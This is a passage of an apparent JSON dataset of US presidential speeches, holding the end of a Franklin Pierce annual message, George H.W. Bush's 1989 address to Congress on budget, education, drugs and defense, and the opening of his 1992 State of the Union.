domestic\ninstitutions of one portion of the Confederacy and involving the\nconstitutional rights of the States. But notwithstanding differences of\nopinion and sentiment which then existed in relation to details and\nspecific provisions, the acquiescence of distinguished citizens, whose\ndevotion to the Union can never be doubted, has given renewed vigor to our\ninstitutions and restored a sense of repose and security to the public mind\nthroughout the Confederacy. That this repose is to suffer no shock during\nmy official term, if I have power to avert it, those who placed me here may\nbe assured. The wisdom of men who knew what independence cost, who had put\nall at stake upon the issue of the Revolutionary struggle, disposed of the\nsubject to which I refer in the only way consistent with the Union of these\nStates and with the march of power and prosperity which has made us what we\nare. It is a significant fact that from the adoption of the Constitution\nuntil the officers and soldiers of the Revolution had passed to their\ngraves, or, through the infirmities of age and wounds, had ceased to\nparticipate actively in public affairs, there was not merely a quiet\nacquiescence in, but a prompt vindication of, the constitutional rights of\nthe States. The reserved powers were scrupulously respected. No statesman\nput forth the narrow views of casuists to justify interference and\nagitation, but the spirit of the compact was regarded as sacred in the eye\nof honor and indispensable for the great experiment of civil liberty,\nwhich, environed by inherent difficulties, was yet borne forward in\napparent weakness by a power superior to all obstacles. There is no\ncondemnation which the voice of freedom will not pronounce upon us should\nwe prove faithless to this great trust. While men inhabiting different\nparts of this vast continent can no more be expected to hold the same\nopinions or entertain the same sentiments than every variety of climate or\nsoil can be expected to furnish the same agricultural products, they can\nunite in a common object and sustain common principles essential to the\nmaintenance of that object. The gallant men of the South and the North\ncould stand together during the struggle of the Revolution; they could\nstand together in the more trying period which succeeded the clangor of\narms. As their united valor was adequate to all the trials of the camp and\ndangers of the field, so their united wisdom proved equal to the greater\ntask of founding upon a deep and broad basis institutions which it has been\nour privilege to enjoy and will ever be our most sacred duty to sustain. It\nis but the feeble expression of a faith strong and universal to say that\ntheir sons, whose blood mingled so often upon the same field during the War\nof 1812 and who have more recently borne in triumph the flag of the country\nupon a foreign soil, will never permit alienation of feeling to weaken the\npower of their united efforts nor internal dissensions to paralyze the\ngreat arm of freedom, uplifted for the vindication of self-government.I have thus briefly presented such suggestions as seem to me especially\nworthy of your consideration. In providing for the present you can hardly\nfail to avail yourselves of the light which the experience of the past\ncasts upon the future.The growth of our population has now brought us, in the destined career of\nour national history, to a point at which it well behooves us to expand our\nvision over the vast prospective.The successive decennial returns of the census since the adoption of the\nConstitution have revealed a law of steady, progressive development, which\nmay be stated in general terms as a duplication every quarter century.\nCarried forward from the point already reached for only a short period of\ntime, as applicable to the existence of a nation, this law of progress, if\nunchecked, will bring us to almost incredible results. A large allowance\nfor a diminished proportional effect of emigration would not very\nmaterially reduce the estimate, while the increased average duration of\nhuman life known to have already resulted from the scientific and hygienic\nimprovements of the past fifty years will tend to keep up through the next\nfifty, or perhaps hundred, the same ratio of growth which has been thus\nrevealed in our past progress; and to the influence of these causes may be\nadded the influx of laboring masses from eastern Asia to the Pacific side\nof our possessions, together with the probable accession of the populations\nalready existing in other parts of our hemisphere, which within the period\nin question will feel with yearly increasing force the natural attraction\nof so vast, powerful, and prosperous a confederation of self-governing\nrepublics and will seek the privilege of being admitted within its safe and\nhappy bosom, transferring with themselves, by a peaceful and healthy\nprocess of incorporation, spacious regions of virgin and exuberant soil,\nwhich are destined to swarm with the fast growing and fast-spreading\nmillions of our race.These considerations seem fully to justify the presumption that the law of\npopulation above stated will continue to act with undiminished effect\nthrough at least the next half century, and that thousands of persons who\nhave already arrived at maturity and are now exercising the rights of\nfreemen will close their eyes on the spectacle of more than 100,000,000 of\npopulation embraced within the majestic proportions of the American Union.\nIt is not merely as an interesting topic of speculation that I present\nthese views for your consideration. They have important practical bearings\nupon all the political duties we are called upon to perform. Heretofore our\nsystem of government has worked on what may be termed a miniature scale in\ncomparison with the development which it must thus assume within a future\nso near at hand as scarcely to be beyond the present of the existing\ngeneration.It is evident that a confederation so vast and so varied, both in numbers\nand in territorial extent, in habits and in interests, could only be kept\nin national cohesion by the strictest fidelity to the principles of the\nConstitution as understood by those who have adhered to the most restricted\nconstruction of the powers granted by the people and the States.\nInterpreted and applied according to those principles, the great compact\nadapts itself with healthy ease and freedom to an unlimited extension of\nthat benign system of federative self-government of which it is our\nglorious and, I trust, immortal charter. Let us, then, with redoubled\nvigilance, be on our guard against yielding to the temptation of the\nexercise of doubtful powers, even under the pressure of the motives of\nconceded temporary advantage and apparent temporary expediency. The minimum\nof Federal government compatible with the maintenance of national unity and\nefficient action in our relations with the rest of the world should afford\nthe rule and measure of construction of our powers under the general\nclauses of the Constitution. A spirit of strict deference to the sovereign\nrights and dignity of every State, rather than a disposition to subordinate\nthe States into a provincial relation to the central authority, should\ncharacterize all our exercise of the respective powers temporarily vested\nin us as a sacred trust from the generous confidence of our constituents.In like manner, as a manifestly indispensable condition of the perpetuation\nof the Union and of the realization of that magnificent national future\nadverted to, does the duty become yearly stronger and clearer upon us, as\ncitizens of the several States, to cultivate a fraternal and affectionate\nspirit, language, and conduct in regard to other States and in relation to\nthe varied interests, institutions, and habits of sentiment and opinion\nwhich may respectively characterize them. Mutual forbearance, respect, and\nnoninterference in our personal action as citizens and an enlarged exercise\nof the most liberal principles of comity in the public dealings of State\nwith State, whether in legislation or in the execution of laws, are the\nmeans to perpetuate that confidence and fraternity the decay of which a\nmere political union, on so vast a scale, could not long survive.In still another point of view is an important practical duty suggested by\nthis consideration of the magnitude of dimensions to which our political\nsystem, with its corresponding machinery of government, is so rapidly\nexpanding. With increased vigilance does it require us to cultivate the\ncardinal virtues of public frugality and official integrity and purity.\nPublic affairs ought to be so conducted that a settled conviction shall\npervade the entire Union that nothing short of the highest tone and\nstandard of public morality marks every part of the administration and\nlegislation of the General Government. Thus will the federal system,\nwhatever expansion time and progress may give it, continue more and more\ndeeply rooted in the love and confidence of the people.That wise economy which is as far removed from parsimony as from corrupt\nand corrupting extravagance; that single regard for the public good which\nwill frown upon all attempts to approach the Treasury with insidious\nprojects of private interest cloaked under public pretexts; that sound\nfiscal administration which, in the legislative department, guards against\nthe dangerous temptations incident to overflowing revenue, and, in the\nexecutive, maintains an unsleeping watchfulness against the tendency of all\nnational expenditure to extravagance, while they are admitted elementary\npolitical duties, may, I trust, be deemed as properly adverted to and urged\nin view of the more impressive sense of that necessity which is directly\nsuggested by the considerations now presented.Since the adjournment of Congress the Vice-President of the United States\nhas passed from the scenes of earth, without having entered upon the duties\nof the station to which he had been called by the voice of his countrymen.\nHaving occupied almost continuously for more than thirty years a seat in\none or the other of the two Houses of Congress, and having by his singular\npurity and wisdom secured unbounded confidence and universal respect, his\nfailing health was watched by the nation with painful solicitude. His loss\nto the country, under all the circumstances, has been justly regarded as\nirreparable.In compliance with the act of Congress of March 2, 1853, the oath of office\nwas administered to him on the 24th of that month at Ariadne estate, near\nMatanzas, in the island of Cuba; but his strength gradually declined, and\nwas hardly sufficient to enable him to return to his home in Alabama,\nwhere, on the 18th day of April, in the most calm and peaceful way, his\nlong and eminently useful career was terminated. Entertaining unlimited\nconfidence in your intelligent and patriotic devotion to the public\ninterest, and being conscious of no motives on my part which are not\ninseparable from the honor and advancement of my country, I hope it may be\nmy privilege to deserve and secure not only your cordial cooperation in\ngreat public measures, but also those relations of mutual confidence and\nregard which it is always so desirable to cultivate between members of\ncoordinate branches of the Government.", 
+    "name": "Franklin Pierce"
+}
\ No newline at end of file
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+{
+    "date": "February 9, 1989", 
+    "speech": "Mr. Speaker, Mr. President, and distinguished Members of the House and Senate,\nhonored guests, and fellow citizens: Less than 3 weeks ago, I joined you on the\nWest Front of this very building and, looking over the monuments to our proud\npast, offered you my hand in filling the next page of American history with a\nstory of extended prosperity and continued peace. And tonight I'm back to offer\nyou my plans as well. The hand remains extended; the sleeves are rolled up;\nAmerica is waiting; and now we must produce. Together, we can build a better\nAmerica.It is comforting to return to this historic Chamber. Here, 22 years ago, I first\nraised my hand to be sworn into public life. So, tonight I feel as if I'm\nreturning home to friends. And I intend, in the months and years to come, to\ngive you what friends deserve: frankness, respect, and my best judgment about\nways to improve America's future. In return, I ask for an honest commitment to\nour common mission of progress. If we seize the opportunities on the road before\nus, there'll be praise enough for all. The people didn't send us here to bicker,\nand it's time to govern.And many Presidents have come to this Chamber in times of great crisis: war and\ndepression, loss of national spirit. And 8 years ago, I sat in that very chair\nas President Reagan spoke of punishing inflation and devastatingly high interest\nrates and people out of work -- American confidence on the wane. And our\nchallenge is different. We're fortunate -- a much changed landscape lies before\nus tonight. So, I don't propose to reverse direction. We're headed the right\nway, but we cannot rest. We're a people whose energy and drive have fueled our\nrise to greatness. And we're a forward-looking nation -- generous, yes, but\nambitious, not for ourselves but for the world. Complacency is not in our\ncharacter -- not before, not now, not ever.And so, tonight we must take a strong America and make it even better. We must\naddress some very real problems. We must establish some very clear priorities.\nAnd we must make a very substantial cut in the Federal budget deficit. Some\npeople find that agenda impossible, but I'm presenting to you tonight a\nrealistic plan for tackling it. My plan has four broad features: attention to\nurgent priorities, investment in the future, an attack on the deficit, and no\nnew taxes. This budget represents my best judgment of how we can address our\npriorities. There are many areas in which we would all like to spend more than I\npropose; I understand that. But we cannot until we get our fiscal house in\norder.Next year alone, thanks to economic growth, without any change in the law, the\nFederal Government will take in over $80 billion more than it does this year.\nThat's right -- over $80 billion in new revenues, with no increases in taxes.\nAnd our job is to allocate those new resources wisely. We can afford to increase\nspending by a modest amount, but enough to invest in key priorities and still\ncut the deficit by almost 40 percent in 1 year. And that will allow us to meet\nthe targets set forth in the Gramm-Rudman-Hollings law. But to do that, we must\nrecognize that growth above inflation in Federal programs is not preordained,\nthat not all spending initiatives were designed to be immortal.I make this pledge tonight: My team and I are ready to work with the Congress,\nto form a special leadership group, to negotiate in good faith, to work day and\nnight -- if that's what it takes -- to meet the budget targets and to produce a\nbudget on time.We cannot settle for business as usual. Government by continuing resolution, or\ngovernment by crisis, will not do. And I ask the Congress tonight to approve\nseveral measures which will make budgeting more sensible. We could save time and\nimprove efficiency by enacting 2-year budgets. Forty-three Governors have the\nline-item veto. Presidents should have it, too. And at the very least, when a\nPresident proposes to rescind Federal spending, the Congress should be required\nto vote on that proposal instead of killing it by inaction. And I ask the\nCongress to honor the public's wishes by passing a constitutional amendment to\nrequire a balanced budget. Such an amendment, once phased in, will discipline\nboth the Congress and the executive branch.Several principles describe the kind of America I hope to build with your help\nin the years ahead. We will not have the luxury of taking the easy, spendthrift\napproach to solving problems because higher spending and higher taxes put\neconomic growth at risk. Economic growth provides jobs and hope. Economic growth\nenables us to pay for social programs. Economic growth enhances the security of\nthe Nation, and low tax rates create economic growth.I believe in giving Americans greater freedom and greater choice. And I will\nwork for choice for American families, whether in the housing in which they\nlive, the schools to which they send their children, or the child care they\nselect for their young. You see, I believe that we have an obligation to those\nin need, but that government should not be the provider of first resort for\nthings that the private sector can produce better. I believe in a society that\nis free from discrimination and bigotry of any kind. And I will work to knock\ndown the barriers left by past discrimination and to build a more tolerant\nsociety that will stop such barriers from ever being built again.I believe that family and faith represent the moral compass of the Nation. And\nI'll work to make them strong, for as Benjamin Franklin said: \"If a sparrow\ncannot fall to the ground without His notice, can a great nation rise without\nHis aid?\" And I believe in giving people the power to make their own lives\nbetter through growth and opportunity. And together, let's put power in the\nhands of people.Three weeks ago, we celebrated the bicentennial inaugural, the 200th anniversary\nof the first Presidency. And if you look back, one thing is so striking about\nthe way the Founding Fathers looked at America. They didn't talk about\nthemselves. They talked about posterity. They talked about the future. And we,\ntoo, must think in terms bigger than ourselves. We must take actions today that\nwill ensure a better tomorrow. We must extend American leadership in technology,\nincrease long-term investment, improve our educational system, and boost\nproductivity. These are the keys to building a better future, and here are some\nof my recommendations:I propose almost $2.2 billion for the National Science Foundation to promote\nbasic research and keep us on track to double its budget by 1993.I propose to make permanent the tax credit for research and development.I've asked Vice President Quayle to chair a new Task Force on Competitiveness.And I request funding for NASA [National Aeronautics and Space Administration]\nand a strong space program, an increase of almost $2.4 billion over the current\nfiscal year. We must have a manned space station; a vigorous, safe space shuttle\nprogram; and more commercial development in space. The space program should\nalways go \"full throttle up.\" And that's not just our ambition; it's our\ndestiny.I propose that we cut the maximum tax rate on capital gains to increase\nlong-term investment. History on this is clear -- this will increase revenues,\nhelp savings, and create new jobs. We won't be competitive if we leave whole\nsectors of America behind. This is the year we should finally enact urban\nenterprise zones and bring hope to the inner cities.But the most important competitiveness program of all is one which improves\neducation in America. When some of our students actually have trouble locating\nAmerica on a map of the world, it is time for us to map a new approach to\neducation. We must reward excellence and cut through bureaucracy. We must help\nschools that need help the most. We must give choice to parents, students,\nteachers, and principals; and we must hold all concerned accountable. In\neducation, we cannot tolerate mediocrity. I want to cut that dropout rate and\nmake America a more literate nation, because what it really comes down to is\nthis: The longer our graduation lines are today, the shorter our unemployment\nlines will be tomorrow.So, tonight I'm proposing the following initiatives: the beginning of a $500\nmillion program to reward America's best schools, merit schools; the creation of\nspecial Presidential awards for the best teachers in every State, because\nexcellence should be rewarded; the establishment of a new program of National\nScience Scholars, one each year for every Member of the House and Senate, to\ngive this generation of students a special incentive to excel in science and\nmathematics; the expanded use of magnet schools, which give families and\nstudents greater choice; and a new program to encourage alternative\ncertification, which will let talented people from all fields teach in our\nclassrooms. I've said I'd like to be the \"Education President.\" And tonight, I'd\nask you to join me by becoming the \"Education Congress.\"Just last week, as I settled into this new office, I received a letter from a\nmother in Pennsylvania who had been struck by my message in the Inaugural\nAddress. \"Not 12 hours before,\" she wrote, \"my husband and I received word that\nour son was addicted to cocaine. He had the world at his feet. Bright, gifted,\npersonable -- he could have done anything with his life. And now he has chosen\ncocaine.\" \"And please,\" she wrote, \"find a way to curb the supply of cocaine.\nGet tough with the pushers. Our son needs your help.\"My friends, that voice crying out for help could be the voice of your own\nneighbor, your own friend, your own son. Over 23 million Americans used illegal\ndrugs last year, at a staggering cost to our nation's well-being. Let this be\nrecorded as the time when America rose up and said no to drugs. The scourge of\ndrugs must be stopped. And I am asking tonight for an increase of almost a\nbillion dollars in budget outlays to escalate the war against drugs. The war\nmust be waged on all fronts. Our new drug czar, Bill Bennett, and I will be\nshoulder to shoulder in the executive branch leading the charge.Some money will be used to expand treatment to the poor and to young mothers.\nThis will offer the helping hand to the many innocent victims of drugs, like the\nthousands of babies born addicted or with AIDS because of the mother's\naddiction. Some will be used to cut the waiting time for treatment. Some money\nwill be devoted to those urban schools where the emergency is now the worst. And\nmuch of it will be used to protect our borders, with help from the Coast Guard\nand the Customs Service, the Departments of State and Justice, and, yes, the\nU.S. military.I mean to get tough on the drug criminals. And let me be clear: This President\nwill back up those who put their lives on the line every single day -- our local\npolice officers. My budget asks for beefed-up prosecution, for a new attack on\norganized crime, and for enforcement of tough sentences -- and for the worst\nkingpins, that means the death penalty. I also want to make sure that when a\ndrug dealer is convicted there's a cell waiting for him. And he should not go\nfree because prisons are too full. And so, let the word go out: If you're caught\nand convicted, you will do time.But for all we do in law enforcement, in interdiction and treatment, we will\nnever win this war on drugs unless we stop the demand for drugs. So, some of\nthis increase will be used to educate the young about the dangers of drugs. We\nmust involve the parents. We must involve the teachers. We must involve the\ncommunities. And, my friends, we must involve ourselves, each and every one of\nus in this concern.One problem related to drug use demands our urgent attention and our continuing\ncompassion, and that is the terrible tragedy of AIDS. I'm asking for $1.6\nbillion for education to prevent the disease and for research to find a cure.If we're to protect our future, we need a new attitude about the environment. We\nmust protect the air we breathe. I will send to you shortly legislation for a\nnew, more effective Clean Air Act. It will include a plan to reduce by date\ncertain the emissions which cause acid rain, because the time for study alone\nhas passed, and the time for action is now. We must make use of clean coal. My\nbudget contains full funding, on schedule, for the clean coal technology\nagreement that we've made with Canada. We've made that agreement with Canada,\nand we intend to honor that agreement. We must not neglect our parks. So, I'm\nasking to fund new acquisitions under the Land and Water Conservation Fund. We\nmust protect our oceans. And I support new penalties against those who would\ndump medical waste and other trash into our oceans. The age of the needle on the\nbeaches must end.And in some cases, the gulfs and oceans off our shores hold the promise of oil\nand gas reserves which can make our nation more secure and less dependent on\nforeign oil. And when those with the most promise can be tapped safely, as with\nmuch of the Alaska National Wildlife Refuge, we should proceed. But we must use\ncaution; we must respect the environment. And so, tonight I'm calling for the\nindefinite postponement of three lease sales which have raised troubling\nquestions, two off the coast of California and one which could threaten the\nEverglades in Florida. Action on these three lease sales will await the\nconclusion of a special task force set up to measure the potential for\nenvironmental damage.I'm directing the Attorney General and the Administrator of the Environmental\nProtection Agency to use every tool at their disposal to speed and toughen the\nenforcement of our laws against toxic-waste dumpers. I want faster cleanups and\ntougher enforcement of penalties against polluters.In addition to caring for our future, we must care for those around us. A decent\nsociety shows compassion for the young, the elderly, the vulnerable, and the\npoor. Our first obligation is to the most vulnerable -- infants, poor mothers,\nchildren living in poverty -- and my proposed budget recognizes this. I ask for\nfull funding of Medicaid, an increase of over $3 billion, and an expansion of\nthe program to include coverage of pregnant women who are near the poverty line.\nI believe we should help working families cope with the burden of child care.\nOur help should be aimed at those who need it most: low-income families with\nyoung children. I support a new child care tax credit that will aim our efforts\nat exactly those families, without discriminating against mothers who choose to\nstay at home.Now, I know there are competing proposals. But remember this: The overwhelming\nmajority of all preschool child care is now provided by relatives and neighbors\nand churches and community groups. Families who choose these options should\nremain eligible for help. Parents should have choice. And for those children who\nare unwanted or abused or whose parents are deceased, we should encourage\nadoption. I propose to reenact the tax deduction for adoption expenses and to\ndouble it to $3,000. Let's make it easier for these kids to have parents who\nlove them.We have a moral contract with our senior citizens. And in this budget, Social\nSecurity is fully funded, including a full cost-of-living adjustment. We must\nhonor our contract.We must care about those in the shadow of life, and I, like many Americans, am\ndeeply troubled by the plight of the homeless. The causes of homelessness are\nmany; the history is long. But the moral imperative to act is clear. Thanks to\nthe deep well of generosity in this great land, many organizations already\ncontribute, but we in government cannot stand on the sidelines. In my budget, I\nask for greater support for emergency food and shelter, for health services and\nmeasures to prevent substance abuse, and for clinics for the mentally ill. And I\npropose a new initiative involving the full range of government agencies. We\nmust confront this national shame.There's another issue that I've decided to mention here tonight. I've long\nbelieved that the people of Puerto Rico should have the right to determine their\nown political future. Personally, I strongly favor statehood. But I urge the\nCongress to take the necessary steps to allow the people to decide in a\nreferendum.Certain problems, the result of decades of unwise practices, threaten the health\nand security of our people. Left unattended, they will only get worse. But we\ncan act now to put them behind us.Earlier this week, I announced my support for a plan to restore the financial\nand moral integrity of our savings system. I ask Congress to enact our reform\nproposals within 45 days. We must not let this situation fester. We owe it to\nthe savers in this country to solve this problem. Certainly, the savings of\nAmericans must remain secure. Let me be clear: Insured depositors will continue\nto be fully protected, but any plan to refinance the system must be accompanied\nby major reform. Our proposals will prevent such a crisis from recurring. The\nbest answer is to make sure that a mess like this will never happen again. The\nmajority of thrifts in communities across the Nation have been honest. They've\nplayed a major role in helping families achieve the dream of home ownership. But\nmake no mistake, those who are corrupt, those who break the law, must be kicked\nout of the business; and they should go to jail.We face a massive task in cleaning up the waste left from decades of\nenvironmental neglect at America's nuclear weapons plants. Clearly, we must\nmodernize these plants and operate them safely. That's not at issue; our\nnational security depends on it. But beyond that, we must clean up the old mess\nthat's been left behind. And I propose in this budget to more than double our\ncurrent effort to do so. This will allow us to identify the exact nature of the\nvarious problems so we can clean them up, and clean them up we will.We've been fortunate during these past 8 years. America is a stronger nation\nthan it was in 1980. Morale in our Armed Forces has been restored; our resolve\nhas been shown. Our readiness has been improved, and we are at peace. There can\nno longer be any doubt that peace has been made more secure through strength.\nAnd when America is stronger, the world is safer.Most people don't realize that after the successful restoration of our strength,\nthe Pentagon budget has actually been reduced in real terms for each of the last\n4 years. We cannot tolerate continued real reduction in defense. In light of the\ncompelling need to reduce the deficit, however, I support a 1-year freeze in the\nmilitary budget, something I proposed last fall in my flexible freeze plan. And\nthis freeze will apply for only 1 year, and after that, increases above\ninflation will be required. I will not sacrifice American preparedness, and I\nwill not compromise American strength.I should be clear on the conditions attached to my recommendation for the coming\nyear: The savings must be allocated to those priorities for investing in our\nfuture that I've spoken about tonight. This defense freeze must be a part of a\ncomprehensive budget agreement which meets the targets spelled out in\nGramm-Rudman-Hollings law without raising taxes and which incorporates reforms\nin the budget process.I've directed the National Security Council to review our national security and\ndefense policies and report back to me within 90 days to ensure that our\ncapabilities and resources meet our commitments and strategies. I'm also\ncharging the Department of Defense with the task of developing a plan to improve\nthe defense procurement process and management of the Pentagon, one which will\nfully implement the Packard commission report. Many of these changes can only be\nmade with the participation of the Congress, and so, I ask for your help. We\nneed fewer regulations. We need less bureaucracy. We need multiyear procurement\nand 2-year budgeting. And frankly -- and don't take this wrong -- we need less\ncongressional micromanagement of our nation's military policy. I detect a slight\ndivision on that question, but nevertheless -- [laughter].Securing a more peaceful world is perhaps the most important priority I'd like\nto address tonight. You know, we meet at a time of extraordinary hope. Never\nbefore in this century have our values of freedom, democracy, and economic\nopportunity been such a powerful and intellectual force around the globe. Never\nbefore has our leadership been so crucial, because while America has its eyes on\nthe future, the world has its eyes on America.And it's a time of great change in the world, and especially in the Soviet\nUnion. Prudence and common sense dictate that we try to understand the full\nmeaning of the change going on there, review our policies, and then proceed with\ncaution. But I've personally assured General Secretary Gorbachev that at the\nconclusion of such a review we will be ready to move forward. We will not miss\nany opportunity to work for peace. The fundamental facts remain that the Soviets\nretain a very powerful military machine in the service of objectives which are\nstill too often in conflict with ours. So, let us take the new openness\nseriously, but let's also be realistic. And let's always be strong.There are some pressing issues we must address. I will vigorously pursue the\nStrategic Defense Initiative. The spread, and even use, of sophisticated\nweaponry threatens global security as never before. Chemical weapons must be\nbanned from the face of the Earth, never to be used again. And look, this won't\nbe easy. Verification -- extraordinarily difficult, but civilization and human\ndecency demand that we try. And the spread of nuclear weapons must be stopped.\nAnd I'll work to strengthen the hand of the International Atomic Energy Agency.\nOur diplomacy must work every day against the proliferation of nuclear weapons.And around the globe, we must continue to be freedom's best friend. And we must\nstand firm for self-determination and democracy in Central America, including in\nNicaragua. It is my strongly held conviction that when people are given the\nchance they inevitably will choose a free press, freedom of worship, and\ncertifiably free and fair elections.We must strengthen the alliance of the industrial democracies, as solid a force\nfor peace as the world has ever known. And this is an alliance forged by the\npower of our ideals, not the pettiness of our differences. So, let's lift our\nsights to rise above fighting about beef hormones, to building a better future,\nto move from protectionism to progress.I've asked the Secretary of State to visit Europe next week and to consult with\nour allies on the wide range of challenges and opportunities we face together,\nincluding East-West relations. And I look forward to meeting with our NATO\npartners in the near future.And I, too, shall begin a trip shortly to the far reaches of the Pacific Basin,\nwhere the winds of democracy are creating new hope and the power of free markets\nis unleashing a new force. When I served as our representative in China 14 or 15\nyears ago, few would have predicted the scope of the changes we've witnessed\nsince then. But in preparing for this trip, I was struck by something I came\nacross from a Chinese writer. He was speaking of his country, decades ago, but\nhis words speak to each of us in America tonight. \"Today,\" he said, \"we're\nafraid of the simple words like `goodness' and `mercy' and `kindness.\"' My\nfriends, if we're to succeed as a nation, we must rediscover those words.In just 3 days, we mark the birthday of Abraham Lincoln, the man who saved our\nUnion and gave new meaning to the word \"opportunity.\" Lincoln once said: \"I hold\nthat while man exists, it is his duty to improve not only his own condition but\nto assist in ameliorating that of mankind.\" It is this broader mission to which\nI call all Americans, because the definition of a successful life must include\nserving others.And to the young people of America, who sometimes feel left out, I ask you\ntonight to give us the benefit of your talent and energy through a new program\ncalled YES, for Youth Entering Service to America.To those men and women in business, remember the ultimate end of your work: to\nmake a better product, to create better lives. I ask you to plan for the longer\nterm and avoid that temptation of quick and easy paper profits.To the brave men and women who wear the uniform of the United States of America,\nthank you. Your calling is a high one: to be the defenders of freedom and the\nguarantors of liberty. And I want you to know that this nation is grateful for\nyour service.To the farmers of America, we appreciate the bounty you provide. We will work\nwith you to open foreign markets to American agricultural products.And to the parents of America, I ask you to get involved in your child's\nschooling. Check on the homework, go to the school, meet the teachers, care\nabout what is happening there. It's not only your child's future on the line,\nit's America's.To kids in our cities, don't give up hope. Say no to drugs; stay in school. And,\nyes, \"Keep hope alive.\"To those 37 million Americans with some form of disability, you belong in the\neconomic mainstream. We need your talents in America's work force. Disabled\nAmericans must become full partners in America's opportunity society.To the families of America watching tonight in your living rooms, hold fast to\nyour dreams because ultimately America's future rests in your hands.And to my friends in this Chamber, I ask your cooperation to keep America\ngrowing while cutting the deficit. That's only fair to those who now have no\nvote: the generations to come. Let them look back and say that we had the\nforesight to understand that a time of peace and prosperity is not the time to\nrest but a time to press forward, a time to invest in the future.And let all Americans remember that no problem of human making is too great to\nbe overcome by human ingenuity, human energy, and the untiring hope of the human\nspirit. I believe this. I would not have asked to be your President if I didn't.\nAnd tomorrow the debate on the plan I've put forward begins, and I ask the\nCongress to come forward with your own proposals. Let's not question each\nother's motives. Let's debate, let's negotiate; but let us solve the problem.Recalling anniversaries may not be my specialty in speeches -- [laughter] -- but\ntonight is one of some note. On February 9th, 1941, just 48 years ago tonight,\nSir Winston Churchill took to the airwaves during Britain's hour of peril. He'd\nreceived from President Roosevelt a hand-carried letter quoting Longfellow's\nfamous poem: \"Sail on, O Ship of State! Sail on, O Union, strong and great!\nHumanity with all its fears, With all the hopes of future years, Is hanging\nbreathless on thy fate!\" And Churchill responded on this night by radio\nbroadcast to a nation at war, but he directed his words to Franklin Roosevelt.\n\"We shall not fail or falter,\" he said. \"We shall not weaken or tire. Give us\nthe tools, and we will finish the job.\"Tonight, almost half a century later, our peril may be less immediate, but the\nneed for perseverance and clear-sighted fortitude is just as great. Now, as\nthen, there are those who say it can't be done. There are voices who say that\nAmerica's best days have passed, that we're bound by constraints, threatened by\nproblems, surrounded by troubles which limit our ability to hope. Well, tonight\nI remain full of hope. We Americans have only begun on our mission of goodness\nand greatness. And to those timid souls, I repeat the plea: \"Give us the tools,\nand we will do the job.\"Thank you. God bless you, and God bless America.", 
+    "name": "George H.W. Bush"
+}
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+{
+    "date": "January 28, 1992", 
+    "speech": "Mr. Speaker, Mr. President, distinguished members of Congress, honored\nguests and fellow citizens:I mean to speak tonight of big things, of big changes and the promises they\nhold and of some big problems and how together we can solve them and move\nour country forward as the undisputed leader of the age.We gather tonight at a dramatic and deeply promising time in our history,\nand in the history of man on earth. For in the past 12 months, the world\nhas known changes of almost biblical proportions. And even now, months\nafter the failed coup that doomed a failed system, I am not sure we have\nabsorbed the full impact, the full import of what happened.But Communism died this year. Even as President, with the most fascinating\npossible vantage point, there were times when I was so busy helping to\nmanage progress and lead change that I didn't always show the joy that was\nin my heart But the biggest thing that has happened in the world in my\nlife, in our lives, is this: By the grace of God, America won the Cold War.\nAnd there's another to be singled out, though it may seem inelegant. I mean\na mass of people called the American taxpayer. No ever thinks to thank the\npeople who pay country's bill or an alliance's bill. But for a half Century\nnow, the American people have shouldered the burden and paid taxes that\nwere higher than they would have been to support a defense that was bigger\nthan it would have been if imperial communism had never existed. But it\ndid. But it doesn't anymore. And here is a fact I wouldn't mind the world\nacknowledging: The American taxpayer bore the brunt of the burden, and\ndeserves a hunk of the glory.And so, now, for the first time in 35 years, our strategic bombers stand\ndown. No longer are they on round-the-clock alert. Tomorrow our children\nwill go to school and study history and how plants grow. And they won't\nhave, as my children did, air-raid drills in which they crawl under their\ndesks and cover their heads in case of nuclear war. My grandchildren don't\nhave to do that, and won't have the bad dreams children once had in decades\npast. There are still threats. But the long drawn-out dread is over.A year ago tonight I spoke to you at a moment of high peril. American\nforces had just unleashed Operation Desert Storm. And after 40 days in the\ndesert skies and 4 days on the ground, the men and women of America's armed\nforces and our allies accomplished the goals that I declared, and that you\nendorsed: we liberated Kuwait.Soon after, the Arab world and Israel sat down to talk seriously, and\ncomprehensively, about peace, an historic first. And soon after that, at\nChristmas, the last American hostages came home. Our policies were\nvindicated.Much good can come from the prudent use of power. And much good can come\nfrom this: A world once divided into two armed camps now recognizes one\nsole and pre-eminent power, the United States of America. And this they\nregard with no dread. For the world trusts us with power, and the world is\nright. They trust us to be fair, and restrained. They trust us to be on the\nside of decency. They trust us to do what's right.I use those words advisedly. A few days after the war began, I received a\ntelegram from Joanne Speicher, the wife of the first pilot killed in the\ngulf, Lieutenant Commander Scott Speicher. Even in her grief, she wanted me\nto know that some day, when her children were old enough, she would tell\nthem \"that their father went away to war because it was the right thing to\ndo\". She said it all. It was the right thing to do.And we did it together. There were honest differences here, in this\nchamber. But when the war began, you put your partisanship aside and\nsupported our troops. This is still a time for pride, but this is no time\nto boast. For problems face us, and we must stand together once again and\nsolve them--and not let our country down.Two years ago, I began planning cuts in military spending that reflected\nthe changes of the new era. But now, this year, with Imperial Communism\ngone, that process can be accelerated. Tonight I can tell you of dramatic\nchanges in our strategic nuclear force. These are actions we are taking on\nour own, because they are the right thing to do.After completing 20 planes for which we have begun procurement, we will\nshut down production of the B-2 bomber. We will cancel the ICBM program. We\nwill cease production of new warheads for our sea-based missiles. We will\nstop all production of the peacekeeper missile. And we will not purchase\nany more advanced cruise missiles.This weekend I will meet at Camp David with Boris Yeltsin of the Russian\nFederation. I have informed President Yeltsin that if the commonwealth, the\nformer Soviet Union, will eliminate all land-based multiple-warhead\nballistic missiles, I will do the following: We will eliminate all\nPeacekeeper missiles. We will reduce the number of warheads on Minuteman\nmissiles to one and reduce the number of warheads on our sea-based missiles\nby about one-third. And we will convert a substantial portion of our\nstrategic to primarily conventional use.President Yeltsin's early response has been very positive, and I expect our\ntalks at Camp David to be fruitful. I want you to know that for half a\ncentury, American presidents have longed to make such decisions and say\nsuch words. But even in the midst of celebration, we must keep caution as a\nfriend. For the world is still a dangerous place. Only the dead have seen\nthe end of conflict. And though yesterday's challenges are behind us,\ntomorrow's are being born.The Secretary of defense recommended these cuts after consultation with the\njoint chiefs of staff. And I make them with confidence. But do not\nmisunderstand me: The reductions I have approved will save us an additional\n$50 billion over the next five years. By 1997 we will have cut defense by\n30 percent since I took office. These cuts are deep, and you must know my\nresolve: this deep, and no deeper. To do less would be insensible to\nprogress, but to do more would be ignorant of history. We must not go back\nto the days of \"the hollow army\". We cannot repeat the mistakes made twice\nin this century when armistice was followed by recklessness and 